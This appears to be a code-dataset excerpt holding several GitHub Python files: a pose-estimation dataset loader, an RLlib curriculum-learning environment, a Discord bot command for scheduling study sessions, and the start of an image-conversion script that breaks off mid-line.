1000\n dpt_xyz = self.dpt_2_pcld(dpt_m, 1, K)\n\n choose = msk_dp.flatten().nonzero()[0].astype(np.uint32)\n if len(choose) < 400:\n return None\n choose_2 = np.array([i for i in range(len(choose))])\n if len(choose_2) < 400:\n return None\n if len(choose_2) > config.n_sample_points:\n c_mask = np.zeros(len(choose_2), dtype=int)\n c_mask[:config.n_sample_points] = 1\n np.random.shuffle(c_mask)\n choose_2 = choose_2[c_mask.nonzero()]\n else:\n choose_2 = np.pad(choose_2, (0, config.n_sample_points-len(choose_2)), 'wrap')\n choose = np.array(choose)[choose_2]\n\n sf_idx = np.arange(choose.shape[0])\n np.random.shuffle(sf_idx)\n choose = choose[sf_idx]\n\n cld = dpt_xyz.reshape(-1, 3)[choose, :]\n rgb_pt = rgb.reshape(-1, 3)[choose, :].astype(np.float32)\n nrm_pt = nrm_map[:, :, :3].reshape(-1, 3)[choose, :]\n labels_pt = labels.flatten()[choose]\n choose = np.array([choose])\n cld_rgb_nrm = np.concatenate((cld, rgb_pt, nrm_pt), axis=1).transpose(1, 0)\n sym_cor_targ = sym_cor.reshape(-1, 3)[choose, :].astype(np.float32)\n\n cls_id_lst = np.array(item['cls_indexes']).astype(np.uint32)\n RTs, kp3ds, ctr3ds, cls_ids, kp_targ_ofst, ctr_targ_ofst, graph_targ = self.get_pose_gt_info(\n cld, labels_pt, cls_id_lst, item\n )\n\n h, w = rgb_labels.shape\n dpt_6c = np.concatenate((dpt_xyz, nrm_map[:, :, :3]), axis=2).transpose(2, 0, 1)\n rgb = np.transpose(rgb, (2, 0, 1)) # hwc2chw\n\n xyz_lst = [dpt_xyz.transpose(2, 0, 1)] # c, h, w\n msk_lst = [dpt_xyz[2, :, :] > 1e-8]\n\n for i in range(3):\n scale = pow(2, i+1)\n nh, nw = h // pow(2, i+1), w // pow(2, i+1)\n ys, xs = np.mgrid[:nh, :nw]\n xyz_lst.append(xyz_lst[0][:, ys*scale, xs*scale])\n msk_lst.append(xyz_lst[-1][2, :, :] > 1e-8)\n sr2dptxyz = {\n pow(2, ii): item.reshape(3, -1).transpose(1, 0) for ii, item in enumerate(xyz_lst)\n }\n sr2msk = {\n pow(2, ii): item.reshape(-1) for ii, item in enumerate(msk_lst)\n }\n\n rgb_ds_sr = [4, 8, 8, 8]\n n_ds_layers = 4\n pcld_sub_s_r = [4, 4, 4, 4]\n inputs = {}\n # DownSample stage\n for i in range(n_ds_layers):\n nei_idx = DP.knn_search(\n cld[None, ...], cld[None, ...], 16\n ).astype(np.int32).squeeze(0)\n sub_pts = cld[:cld.shape[0] // pcld_sub_s_r[i], :]\n pool_i = nei_idx[:cld.shape[0] // pcld_sub_s_r[i], :]\n up_i = DP.knn_search(\n sub_pts[None, ...], cld[None, ...], 1\n ).astype(np.int32).squeeze(0)\n inputs['cld_xyz%d'%i] = cld.astype(np.float32).copy()\n inputs['cld_nei_idx%d'%i] = nei_idx.astype(np.int32).copy()\n inputs['cld_sub_idx%d'%i] = pool_i.astype(np.int32).copy()\n inputs['cld_interp_idx%d'%i] = up_i.astype(np.int32).copy()\n nei_r2p = DP.knn_search(\n sr2dptxyz[rgb_ds_sr[i]][None, ...], sub_pts[None, ...], 16\n ).astype(np.int32).squeeze(0)\n inputs['r2p_ds_nei_idx%d'%i] = nei_r2p.copy()\n nei_p2r = DP.knn_search(\n sub_pts[None, ...], sr2dptxyz[rgb_ds_sr[i]][None, ...], 1\n ).astype(np.int32).squeeze(0)\n inputs['p2r_ds_nei_idx%d'%i] = nei_p2r.copy()\n cld = sub_pts\n\n n_up_layers = 3\n rgb_up_sr = [4, 2, 2]\n for i in range(n_up_layers):\n r2p_nei = DP.knn_search(\n sr2dptxyz[rgb_up_sr[i]][None, ...],\n inputs['cld_xyz%d'%(n_ds_layers-i-1)][None, ...], 16\n ).astype(np.int32).squeeze(0)\n inputs['r2p_up_nei_idx%d'%i] = r2p_nei.copy()\n p2r_nei = DP.knn_search(\n inputs['cld_xyz%d'%(n_ds_layers-i-1)][None, ...],\n sr2dptxyz[rgb_up_sr[i]][None, ...], 1\n ).astype(np.int32).squeeze(0)\n inputs['p2r_up_nei_idx%d'%i] = p2r_nei.copy()\n\n show_rgb = rgb.transpose(1, 2, 0).copy()[:, :, ::-1]\n if self.debug:\n for ip, xyz in enumerate(xyz_lst):\n pcld = xyz.reshape(3, -1).transpose(1, 0)\n p2ds = bs_utils.project_p3d(pcld, cam_scale, K)\n print(show_rgb.shape, pcld.shape)\n srgb = bs_utils.paste_p2ds(show_rgb.copy(), p2ds, (0, 0, 255))\n imshow(\"rz_pcld_%d\" % ip, srgb)\n p2ds = bs_utils.project_p3d(inputs['cld_xyz%d'%ip], cam_scale, K)\n srgb1 = bs_utils.paste_p2ds(show_rgb.copy(), p2ds, (0, 0, 255))\n imshow(\"rz_pcld_%d_rnd\" % ip, srgb1)\n\n item_dict = dict(\n rgb=rgb.astype(np.uint8), # [c, h, w]\n cld_rgb_nrm=cld_rgb_nrm.astype(np.float32), # [9, npts]\n choose=choose.astype(np.int32), # [1, npts]\n labels=labels_pt.astype(np.int32), # [npts]\n rgb_labels=rgb_labels.astype(np.int32), # [h, w]\n dpt_map_m=dpt_m.astype(np.float32), # [h, w]\n RTs=RTs.astype(np.float32),\n kp_targ_ofst=kp_targ_ofst.astype(np.float32),\n graph_targ=graph_targ.astype(np.float32),\n sym_cor_targ=sym_cor_targ.astype(np.float32),\n ctr_targ_ofst=ctr_targ_ofst.astype(np.float32),\n cls_ids=cls_ids.astype(np.int32),\n ctr_3ds=ctr3ds.astype(np.float32),\n kp_3ds=kp3ds.astype(np.float32),\n seq_id=np.array(item['seq_id']).astype(np.int32),\n img_id=np.array(item['img_id']).astype(np.int32)\n )\n item_dict.update(inputs)\n if self.debug:\n extra_d = dict(\n dpt_xyz_nrm=dpt_6c.astype(np.float32), # [6, h, w]\n cam_scale=np.array([cam_scale]).astype(np.float32),\n K=K.astype(np.float32),\n )\n item_dict.update(extra_d)\n item_dict['normal_map'] = nrm_map[:, :, :3].astype(np.float32)\n return item_dict\n\n def get_pose_gt_info(self, cld, labels, cls_id_lst, meta):\n RTs = np.zeros((config.n_objects, 3, 4))\n kp3ds = np.zeros((config.n_objects, config.n_keypoints, 3))\n ctr3ds = np.zeros((config.n_objects, 3))\n cls_ids = np.zeros((config.n_objects, 1))\n kp_targ_ofst = np.zeros((config.n_sample_points, config.n_keypoints, 3))\n ctr_targ_ofst = np.zeros((config.n_sample_points, 3))\n edg_targ_ofst = np.zeros((config.n_sample_points, config.n_edges, 3))\n for i, cls_id in enumerate(cls_id_lst):\n r = meta['poses'][i, :, :][:, 0:3]\n t = np.array(meta['poses'][i, :, :][:, 3:4].flatten()[:, None])\n RT = np.concatenate((r, t), axis=1)\n RTs[i] = RT\n\n ctr = bs_utils.get_ctr(self.cls_lst[cls_id-1], ds_type='boplm').copy()[:, None]\n ctr = np.dot(ctr.T, r.T) + t[:, 0]\n ctr3ds[i, :] = ctr[0]\n msk_idx = np.where(labels == cls_id)[0]\n\n target_offset = np.array(np.add(cld, -1.0*ctr3ds[i, :]))\n ctr_targ_ofst[msk_idx,:] = target_offset[msk_idx, :]\n cls_ids[i, :] = np.array([cls_id])\n\n key_kpts = ''\n if config.n_keypoints == 8:\n kp_type = 'farthest'\n else:\n kp_type = 'farthest{}'.format(config.n_keypoints)\n kps = bs_utils.get_kps(\n self.cls_lst[cls_id-1], kp_type=kp_type, ds_type='boplm'\n ).copy()\n kps = np.dot(kps, r.T) + t[:, 0]\n kp3ds[i] = kps\n\n target = []\n for kp in kps:\n target.append(np.add(cld, -1.0*kp))\n target_offset = np.array(target).transpose(1, 0, 2) # [npts, nkps, c]\n kp_targ_ofst[msk_idx, :, :] = target_offset[msk_idx, :, :]\n\n edge_idx = 0\n for start_idx in range(0, config.n_keypoints - 1):\n start = kps[start_idx]\n for end_idx in range(start_idx + 1, config.n_keypoints):\n end = kps[end_idx]\n edge = end - start\n edg_targ_ofst[msk_idx, edge_idx, :] = edge\n edge_idx += 1\n return RTs, kp3ds, ctr3ds, cls_ids, kp_targ_ofst, ctr_targ_ofst, edg_targ_ofst\n\n def __len__(self):\n return len(self.all_lst)\n\n def __getitem__(self, idx):\n if self.dataset_name == 'train':\n item_name = self.syn_gen()\n data = self.get_item(item_name)\n while data is None:\n item_name = self.syn_gen()\n data = self.get_item(item_name)\n return data\n else:\n item_name = self.all_lst[idx]\n return self.get_item(item_name)\n\n\ndef main():\n # config.mini_batch_size = 1\n global DEBUG\n DEBUG = True\n ds = {}\n ds['train'] = Dataset('train', DEBUG=True)\n # ds['val'] = Dataset('validation')\n ds['test'] = Dataset('test', DEBUG=True)\n idx = dict(\n train=0,\n val=0,\n test=0\n )\n while True:\n # for cat in ['val', 'test']:\n for cat in ['train']:\n # for cat in ['test']:\n datum = ds[cat].__getitem__(idx[cat])\n idx[cat] += 1\n K = datum['K']\n cam_scale = datum['cam_scale']\n rgb = datum['rgb'].transpose(1, 2, 0)[...,::-1].copy()# [...,::-1].copy()\n for i in range(9):\n pcld = datum['cld_rgb_nrm'][:3, :].transpose(1, 0).copy()\n p2ds = bs_utils.project_p3d(pcld, 1.0, K)\n # rgb = bs_utils.draw_p2ds(rgb, p2ds)\n kp3d = datum['kp_3ds'][i]\n if kp3d.sum() < 1e-6:\n break\n kp_2ds = bs_utils.project_p3d(kp3d, 1.0, K)\n rgb = bs_utils.draw_p2ds(\n rgb, kp_2ds, 3, bs_utils.get_label_color(datum['cls_ids'][i][0], mode=1)\n )\n ctr3d = datum['ctr_3ds'][i]\n ctr_2ds = bs_utils.project_p3d(ctr3d[None, :], 1.0, K)\n rgb = bs_utils.draw_p2ds(\n rgb, ctr_2ds, 4, (0, 0, 255)\n )\n imshow('{}_rgb'.format(cat), rgb)\n cmd = waitKey(0)\n if cmd == ord('q'):\n exit()\n else:\n continue\n\n\nif __name__ == \"__main__\":\n main()\n# vim: ts=4 sw=4 sts=4 expandtab\n","repo_name":"JiChun-Wang/MGRNet","sub_path":"datasets/lmo/boplm_dataset.py","file_name":"boplm_dataset.py","file_ext":"py","file_size_in_byte":23825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"36820614086","text":"\"\"\"Implementation of a simple simulation/environment in AML.\"\"\"\nimport numpy as np\n\n# from gymnasium import Env\nfrom gymnasium.spaces import Box, Dict\n\n# Import TaskSettableEnv from RLlib\nfrom ray.rllib.env.apis.task_settable_env import TaskSettableEnv\nfrom ray.rllib.utils.annotations import override\n\n\nclass SimpleAdder(TaskSettableEnv):\n \"\"\"\n Implement a SimpleAdder as a custom Gymnasium environment.\n\n Details on which attributes and methods are required for the integration\n can be found in the docs.\n\n The environment has a pretty simple state and action space. The state is\n composed of an integer numbers. The action is composed of an integer number\n between -10 and 10. At each episode, the state number is initialized between\n 0 and 100, and at each iteration the agent chooses a number between -10 and 10.\n The chosen number is added to the state. The purpose of the simulation is to\n get the state equal to 50, at which point the episode terminates. The episode\n duration is limited to 10 iterations.\n \"\"\"\n\n def __init__(self, env_config):\n self.observation_space = Dict(\n {\"value\": Box(low=-float(\"inf\"), high=float(\"inf\"))}\n )\n self.action_space = Dict({\"addend\": Box(low=-10, high=10, dtype=np.int32)})\n\n # Initialize the task exponent attribute to 1\n self.exponent = 1\n\n def _get_obs(self):\n \"\"\"Get the observable state.\"\"\"\n return {\"value\": np.array([self.state[\"value\"]])}\n\n def _get_info(self):\n \"\"\"Get additional info not needed by the agent's decision.\"\"\"\n return {}\n\n def reward(self, state):\n \"\"\"\n Return the reward value.\n\n For this simple example this is just the distance to the number 50.\n We add 10 (maximum steps per episode) to the reward and subtract the\n current step to encourage to finish the episode as fast as possible.\n \"\"\"\n return -abs(state[\"value\"] - 50) + 10 - self.iter\n\n def reset(self, *, seed=None, options=None):\n \"\"\"Start a new episode.\"\"\"\n self.iter = 0\n # Get the current task (curriculum level)\n task = self.get_task()\n # Get the exponent of 2 for the task\n exponent = task[\"exponent\"]\n # Initialize the state value randomly between +/- 2**exponent from target of 50\n self.state = {\"value\": 50 + np.random.randint(-(2**exponent), 2**exponent)}\n return self._get_obs(), self._get_info()\n\n def step(self, action):\n \"\"\"Advance one iteration by applying the given ``action``.\"\"\"\n self.state[\"value\"] += action[\"addend\"].item()\n self.iter += 1\n reward = self.reward(self.state)\n terminated = self.state[\"value\"] == 50\n truncated = self.iter >= 10\n return (\n self._get_obs(),\n reward,\n terminated,\n truncated,\n self._get_info(),\n )\n\n @override(TaskSettableEnv)\n def get_task(self):\n \"\"\"Implement this to get the current task (curriculum level).\"\"\"\n # Return the current exponent value as the task\n return {\"exponent\": self.exponent}\n\n @override(TaskSettableEnv)\n def set_task(self, task):\n \"\"\"Set a new task for this sim env.\"\"\"\n # Set the exponent value based on the task\n self.exponent = task[\"exponent\"]\n","repo_name":"Azure/plato","sub_path":"examples/curriculum-learning/src/sim_curriculum_capable.py","file_name":"sim_curriculum_capable.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"66"}
+{"seq_id":"36217865712","text":"import re\nimport datetime\nimport discord\nimport asyncio\nimport contextlib\nfrom cmdClient.checks import in_guild\n\nfrom meta import client\nfrom utils.lib import multiselect_regex, parse_ranges, prop_tabulate\nfrom data import NOTNULL\nfrom data.conditions import GEQ, LEQ\n\nfrom .module import module\nfrom .lib import utc_now\nfrom .tracker import AccountabilityGuild as AGuild\nfrom .tracker import room_lock\nfrom .TimeSlot import SlotMember\nfrom .data import accountability_members, accountability_member_info, accountability_rooms\n\n\nhint_icon = \"https://projects.iamcal.com/emoji-data/img-apple-64/1f4a1.png\"\n\n\ndef time_format(time):\n diff = (time - utc_now()).total_seconds()\n if diff < 0:\n diffstr = \"`Right Now!!`\"\n elif diff < 600:\n diffstr = \"`Very soon!!`\"\n elif diff < 3600:\n diffstr = \"`In <1 hour `\"\n else:\n hours = round(diff / 3600)\n diffstr = \"`In {:>2} hour{}`\".format(hours, 's' if hours > 1 else ' ')\n\n return \"{} | - \".format(\n diffstr,\n time.timestamp(),\n time.timestamp() + 3600,\n )\n\n\nuser_locks = {} # Map userid -> ctx\n\n\n@contextlib.contextmanager\ndef ensure_exclusive(ctx):\n \"\"\"\n Cancel any existing exclusive contexts for the author.\n \"\"\"\n old_ctx = user_locks.pop(ctx.author.id, None)\n if old_ctx:\n [task.cancel() for task in old_ctx.tasks]\n\n user_locks[ctx.author.id] = ctx\n try:\n yield\n finally:\n new_ctx = user_locks.get(ctx.author.id, None)\n if new_ctx and new_ctx.msg.id == ctx.msg.id:\n user_locks.pop(ctx.author.id)\n\n\n@module.cmd(\n name=\"schedule\",\n desc=\"View your schedule, and get rewarded for attending scheduled sessions!\",\n group=\"Productivity\",\n aliases=('rooms', 'sessions')\n)\n@in_guild()\nasync def cmd_rooms(ctx):\n \"\"\"\n Usage``:\n {prefix}schedule\n {prefix}schedule book\n {prefix}schedule cancel\n Description:\n View your schedule with `{prefix}schedule`.\n Use `{prefix}schedule book` to schedule a session at a selected time..\n Use `{prefix}schedule cancel` to cancel a scheduled session.\n \"\"\"\n lower = ctx.args.lower()\n splits = lower.split()\n command = splits[0] if splits else None\n\n if not ctx.guild_settings.accountability_category.value:\n return await ctx.error_reply(\"The scheduled session system isn't set up!\")\n\n # First grab the sessions the member is booked in\n joined_rows = accountability_member_info.select_where(\n userid=ctx.author.id,\n start_at=GEQ(utc_now()),\n _extra=\"ORDER BY start_at ASC\"\n )\n\n if command == 'cancel':\n if not joined_rows:\n return await ctx.error_reply(\"You have no scheduled sessions to cancel!\")\n\n # Show unbooking menu\n lines = [\n \"`[{:>2}]` | {}\".format(i, time_format(row['start_at']))\n for i, row in enumerate(joined_rows)\n ]\n out_msg = await ctx.reply(\n content=\"Please reply with the number(s) of the sessions you want to cancel. E.g. `1, 3, 5` or `1-3, 7-8`.\",\n embed=discord.Embed(\n title=\"Please choose the sessions you want to cancel.\",\n description='\\n'.join(lines),\n colour=discord.Colour.orange()\n ).set_footer(\n text=(\n \"All times are in your own timezone! Hover over a time to see the date.\"\n )\n )\n )\n\n await ctx.cancellable(\n out_msg,\n cancel_message=\"Cancel menu closed, no scheduled sessions were cancelled.\",\n timeout=70\n )\n\n def check(msg):\n valid = msg.channel == ctx.ch and msg.author == ctx.author\n valid = valid and (re.search(multiselect_regex, msg.content) or msg.content.lower() == 'c')\n return valid\n\n with ensure_exclusive(ctx):\n try:\n message = await ctx.client.wait_for('message', check=check, timeout=60)\n except asyncio.TimeoutError:\n try:\n await out_msg.edit(\n content=None,\n embed=discord.Embed(\n description=\"Cancel menu timed out, no scheduled sessions were cancelled.\",\n colour=discord.Colour.red()\n )\n )\n await out_msg.clear_reactions()\n except discord.HTTPException:\n pass\n return\n\n try:\n await out_msg.delete()\n await message.delete()\n except discord.HTTPException:\n pass\n\n if message.content.lower() == 'c':\n return\n\n to_cancel = [\n joined_rows[index]\n for index in parse_ranges(message.content) if index < len(joined_rows)\n ]\n if not to_cancel:\n return await ctx.error_reply(\"No valid sessions selected for cancellation.\")\n elif any(row['start_at'] < utc_now() for row in to_cancel):\n return await ctx.error_reply(\"You can't cancel a running session!\")\n\n slotids = [row['slotid'] for row in to_cancel]\n async with room_lock:\n deleted = accountability_members.delete_where(\n userid=ctx.author.id,\n slotid=slotids\n )\n\n # Handle case where the slot has already opened\n # TODO: Possible race condition if they open over the hour border? Might never cancel\n for row in to_cancel:\n aguild = AGuild.cache.get(row['guildid'], None)\n if aguild and aguild.upcoming_slot and aguild.upcoming_slot.data:\n if aguild.upcoming_slot.data.slotid in slotids:\n aguild.upcoming_slot.members.pop(ctx.author.id, None)\n if aguild.upcoming_slot.channel:\n try:\n await aguild.upcoming_slot.channel.set_permissions(\n ctx.author,\n overwrite=None\n )\n except discord.HTTPException:\n pass\n await aguild.upcoming_slot.update_status()\n break\n\n ctx.alion.addCoins(sum(row[2] for row in deleted))\n\n remaining = [row for row in joined_rows if row['slotid'] not in slotids]\n if not remaining:\n await ctx.embed_reply(\"Cancelled all your upcoming scheduled sessions!\")\n else:\n next_booked_time = min(row['start_at'] for row in remaining)\n if len(to_cancel) > 1:\n await ctx.embed_reply(\n \"Cancelled `{}` upcoming sessions!\\nYour next session is at .\".format(\n len(to_cancel),\n next_booked_time.timestamp()\n )\n )\n else:\n await ctx.embed_reply(\n \"Cancelled your session at !\\n\"\n \"Your next session is at .\".format(\n to_cancel[0]['start_at'].timestamp(),\n next_booked_time.timestamp()\n )\n )\n elif command == 'book':\n # Show booking menu\n # Get attendee count\n rows = accountability_member_info.select_where(\n guildid=ctx.guild.id,\n userid=NOTNULL,\n select_columns=(\n 'slotid',\n 'start_at',\n 'COUNT(*) as num'\n ),\n _extra=\"GROUP BY start_at, slotid\"\n )\n attendees = {row['start_at']: row['num'] for row in rows}\n attendee_pad = max((len(str(num)) for num in attendees.values()), default=1)\n\n # Build lines\n already_joined_times = set(row['start_at'] for row in joined_rows)\n start_time = utc_now().replace(minute=0, second=0, microsecond=0)\n times = (\n start_time + datetime.timedelta(hours=n)\n for n in range(1, 25)\n )\n times = [\n time for time in times\n if time not in already_joined_times and (time - utc_now()).total_seconds() > 660\n ]\n lines = [\n \"`[{num:>2}]` | `{count:>{count_pad}}` attending | {time}\".format(\n num=i,\n count=attendees.get(time, 0), count_pad=attendee_pad,\n time=time_format(time),\n )\n for i, time in enumerate(times)\n ]\n # TODO: Nicer embed\n # TODO: Don't allow multi bookings if the member has a bad attendance rate\n out_msg = await ctx.reply(\n content=(\n \"Please reply with the number(s) of the sessions you want to book. E.g. `1, 3, 5` or `1-3, 7-8`.\"\n ),\n embed=discord.Embed(\n title=\"Please choose the sessions you want to schedule.\",\n description='\\n'.join(lines),\n colour=discord.Colour.orange()\n ).set_footer(\n text=(\n \"All times are in your own timezone! Hover over a time to see the date.\"\n )\n )\n )\n await ctx.cancellable(\n out_msg,\n cancel_message=\"Booking menu cancelled, no sessions were booked.\",\n timeout=60\n )\n\n def check(msg):\n valid = msg.channel == ctx.ch and msg.author == ctx.author\n valid = valid and (re.search(multiselect_regex, msg.content) or msg.content.lower() == 'c')\n return valid\n\n with ensure_exclusive(ctx):\n try:\n message = await ctx.client.wait_for('message', check=check, timeout=30)\n except asyncio.TimeoutError:\n try:\n await out_msg.edit(\n content=None,\n embed=discord.Embed(\n description=\"Booking menu timed out, no sessions were booked.\",\n colour=discord.Colour.red()\n )\n )\n await out_msg.clear_reactions()\n except discord.HTTPException:\n pass\n return\n\n try:\n await out_msg.delete()\n await message.delete()\n except discord.HTTPException:\n pass\n\n if message.content.lower() == 'c':\n return\n\n to_book = [\n times[index]\n for index in parse_ranges(message.content) if index < len(times)\n ]\n if not to_book:\n return await ctx.error_reply(\"No valid sessions selected.\")\n elif any(time < utc_now() for time in to_book):\n return await ctx.error_reply(\"You can't book a running session!\")\n cost = len(to_book) * ctx.guild_settings.accountability_price.value\n if cost > ctx.alion.coins:\n return await ctx.error_reply(\n \"Sorry, booking `{}` sessions costs `{}` coins, and you only have `{}`!\".format(\n len(to_book),\n cost,\n ctx.alion.coins\n )\n )\n\n # Add the member to data, creating the row if required\n slot_rows = accountability_rooms.fetch_rows_where(\n guildid=ctx.guild.id,\n start_at=to_book\n )\n slotids = [row.slotid for row in slot_rows]\n to_add = set(to_book).difference((row.start_at for row in slot_rows))\n if to_add:\n slotids.extend(row['slotid'] for row in accountability_rooms.insert_many(\n *((ctx.guild.id, start_at) for start_at in to_add),\n insert_keys=('guildid', 'start_at'),\n ))\n accountability_members.insert_many(\n *((slotid, ctx.author.id, ctx.guild_settings.accountability_price.value) for slotid in slotids),\n insert_keys=('slotid', 'userid', 'paid')\n )\n\n # Handle case where the slot has already opened\n # TODO: Fix this, doesn't always work\n aguild = AGuild.cache.get(ctx.guild.id, None)\n if aguild:\n if aguild.upcoming_slot and aguild.upcoming_slot.start_time in to_book:\n slot = aguild.upcoming_slot\n if not slot.data:\n # Handle slot activation\n slot._refresh()\n channelid, messageid = await slot.open()\n accountability_rooms.update_where(\n {'channelid': channelid, 'messageid': messageid},\n slotid=slot.data.slotid\n )\n else:\n slot.members[ctx.author.id] = SlotMember(slot.data.slotid, ctx.author.id, ctx.guild)\n # Also update the channel permissions\n try:\n await slot.channel.set_permissions(ctx.author, view_channel=True, connect=True)\n except discord.HTTPException:\n pass\n await slot.update_status()\n ctx.alion.addCoins(-cost)\n\n # Ack purchase\n embed = discord.Embed(\n title=\"You have scheduled the following session{}!\".format('s' if len(to_book) > 1 else ''),\n description=(\n \"*Please attend all your scheduled sessions!*\\n\"\n \"*If you can't attend, cancel with* `{}schedule cancel`\\n\\n{}\"\n ).format(\n ctx.best_prefix,\n '\\n'.join(time_format(time) for time in to_book),\n ),\n colour=discord.Colour.orange()\n ).set_footer(\n text=(\n \"Use {prefix}schedule to see your current schedule.\\n\"\n ).format(prefix=ctx.best_prefix)\n )\n try:\n await ctx.reply(\n embed=embed,\n reference=ctx.msg\n )\n except discord.NotFound:\n await ctx.reply(embed=embed)\n else:\n # Show accountability room information for this user\n # Accountability profile\n # Author\n # Special case for no past bookings, emphasis hint\n # Hint on Bookings section for booking/cancelling as applicable\n # Description has stats\n # Footer says that all times are in their timezone\n # TODO: attendance requirement shouldn't be retroactive! Add attended data column\n # Attended `{}` out of `{}` booked (`{}%` attendance rate!)\n # Attendance streak: `{}` days attended with no missed sessions!\n # Add explanation for first time users\n\n # Get all slots the member has ever booked\n history = accountability_member_info.select_where(\n userid=ctx.author.id,\n # start_at=LEQ(utc_now() - datetime.timedelta(hours=1)),\n start_at=LEQ(utc_now()),\n select_columns=(\"*\", \"(duration > 0 OR last_joined_at IS NOT NULL) AS attended\"),\n _extra=\"ORDER BY start_at DESC\"\n )\n\n if not (history or joined_rows):\n # First-timer information\n about = (\n \"You haven't scheduled any study sessions yet!\\n\"\n \"Schedule a session by typing **`{}schedule book`** and selecting \"\n \"the hours you intend to study, \"\n \"then attend by joining the session voice channel when it starts!\\n\"\n \"Only if everyone attends will they get the bonus of `{}` LionCoins!\\n\"\n \"Let's all do our best and keep each other accountable 🔥\"\n ).format(\n ctx.best_prefix,\n ctx.guild_settings.accountability_bonus.value\n )\n embed = discord.Embed(\n description=about,\n colour=discord.Colour.orange()\n )\n embed.set_footer(\n text=\"Please keep your DMs open so I can notify you when the session starts!\\n\",\n icon_url=hint_icon\n )\n await ctx.reply(embed=embed)\n else:\n # Build description with stats\n if history:\n # First get the counts\n attended_count = sum(row['attended'] for row in history)\n total_count = len(history)\n total_duration = sum(row['duration'] for row in history)\n\n # Add current session to duration if it exists\n if history[0]['last_joined_at'] and (utc_now() - history[0]['start_at']).total_seconds() < 3600:\n total_duration += int((utc_now() - history[0]['last_joined_at']).total_seconds())\n\n # Calculate the streak\n timezone = ctx.alion.settings.timezone.value\n\n streak = 0\n current_streak = None\n max_streak = 0\n day_attended = None\n date = utc_now().astimezone(timezone).replace(hour=0, minute=0, second=0, microsecond=0)\n daydiff = datetime.timedelta(days=1)\n\n i = 0\n while i < len(history):\n row = history[i]\n i += 1\n if not row['attended']:\n # Not attended, streak broken\n pass\n elif row['start_at'] > date:\n # They attended this day\n day_attended = True\n continue\n elif day_attended is None:\n # Didn't attend today, but don't break streak\n day_attended = False\n date -= daydiff\n i -= 1\n continue\n elif not day_attended:\n # Didn't attend the day, streak broken\n date -= daydiff\n i -= 1\n pass\n else:\n # Attended the day\n streak += 1\n\n # Move window to the previous day and try the row again\n date -= daydiff\n day_attended = False\n i -= 1\n continue\n\n max_streak = max(max_streak, streak)\n if current_streak is None:\n current_streak = streak\n streak = 0\n\n # Handle loop exit state, i.e. the last streak\n if day_attended:\n streak += 1\n max_streak = max(max_streak, streak)\n if current_streak is None:\n current_streak = streak\n\n # Build the stats\n table = {\n \"Sessions\": \"**{}** attended out of **{}**, `{:.0f}%` attendance rate.\".format(\n attended_count,\n total_count,\n (attended_count * 100) / total_count,\n ),\n \"Time\": \"**{:02}:{:02}** in scheduled sessions.\".format(\n total_duration // 3600,\n (total_duration % 3600) // 60\n ),\n \"Streak\": \"**{}** day{} with no missed sessions! (Longest: **{}** day{}.)\".format(\n current_streak,\n 's' if current_streak != 1 else '',\n max_streak,\n 's' if max_streak != 1 else '',\n ),\n }\n desc = prop_tabulate(*zip(*table.items()))\n else:\n desc = (\n \"Good luck with your next session!\\n\"\n )\n\n # Build currently booked list\n\n if joined_rows:\n # TODO: (Future) calendar link\n # Get attendee counts for currently booked sessions\n rows = accountability_member_info.select_where(\n slotid=[row[\"slotid\"] for row in joined_rows],\n userid=NOTNULL,\n select_columns=(\n 'slotid',\n 'guildid',\n 'start_at',\n 'COUNT(*) as num'\n ),\n _extra=\"GROUP BY start_at, slotid, guildid ORDER BY start_at ASC\"\n )\n attendees = {\n row['start_at']: (row['num'], row['guildid']) for row in rows\n }\n attendee_pad = max((len(str(num)) for num, _ in attendees.values()), default=1)\n\n # TODO: Allow cancel to accept multiselect keys as args\n show_guild = any(guildid != ctx.guild.id for _, guildid in attendees.values())\n guild_map = {}\n if show_guild:\n for _, guildid in attendees.values():\n if guildid not in guild_map:\n guild = ctx.client.get_guild(guildid)\n if not guild:\n try:\n guild = await ctx.client.fetch_guild(guildid)\n except discord.HTTPException:\n guild = None\n guild_map[guildid] = guild\n\n booked_list = '\\n'.join(\n \"`{:>{}}` attendees | {} {}\".format(\n num,\n attendee_pad,\n time_format(start),\n \"\" if not show_guild else (\n \"on this server\" if guildid == ctx.guild.id else \"in **{}**\".format(\n guild_map[guildid] or \"Unknown\"\n )\n )\n ) for start, (num, guildid) in attendees.items()\n )\n booked_field = (\n \"{}\\n\\n\"\n \"*If you can't make your session, please cancel using `{}schedule cancel`!*\"\n ).format(booked_list, ctx.best_prefix)\n\n # Temporary footer for acclimatisation\n # footer = \"All times are displayed in your own timezone!\"\n footer = \"Book another session using {}schedule book\".format(ctx.best_prefix)\n else:\n booked_field = (\n \"Your schedule is empty!\\n\"\n \"Book another session using `{}schedule book`.\"\n ).format(ctx.best_prefix)\n footer = \"Please keep your DMs open for notifications!\"\n\n # Finally, build embed\n embed = discord.Embed(\n colour=discord.Colour.orange(),\n description=desc,\n ).set_author(\n name=\"Schedule statistics for {}\".format(ctx.author.name),\n icon_url=ctx.author.avatar_url\n ).set_footer(\n text=footer,\n icon_url=hint_icon\n ).add_field(\n name=\"Upcoming sessions\",\n value=booked_field\n )\n\n # And send it!\n await ctx.reply(embed=embed)\n\n\n# TODO: roomadmin\n","repo_name":"justw0rk/StudyLion","sub_path":"bot/modules/accountability/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":23897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"66"}
+{"seq_id":"11494869336","text":"import os, subprocess, argparse\n\nparser = argparse.ArgumentParser(description = \"A preprocessor that creates webp's from png's and svg's from tikz standalone LaTeX files.\")\nparser.add_argument('-f', '--forceRegenerateFiles', nargs='*',\n help=\"Force regenerate given files. No arguments will force regenerate all files.\",\n metavar=\"File names\")\nargs = parser.parse_args()\nrootdir = os.path.dirname(os.path.abspath(__file__)) + \"/images\"\n\ndef pngToWebp(pngPath, webpPath):\n subprocess.run(f\"cwebp -q 100 -lossless -mt '{pngPath}' -o '{webpPath}'\", shell=True)\n\ndef texToSvg(file, directory):\n dviName = file[:-3] + \"dvi\"\n subprocess.run(f\"latex {file}\", shell=True, cwd=directory)\n subprocess.run(f\"dvisvgm --exact --font-format=woff {dviName}\", shell=True, cwd=directory)\n\nfor subdir, dirs, files in os.walk(rootdir):\n for file in files:\n if args.forceRegenerateFiles is None:\n forceRegenerate = False\n else:\n if len(args.forceRegenerateFiles) != 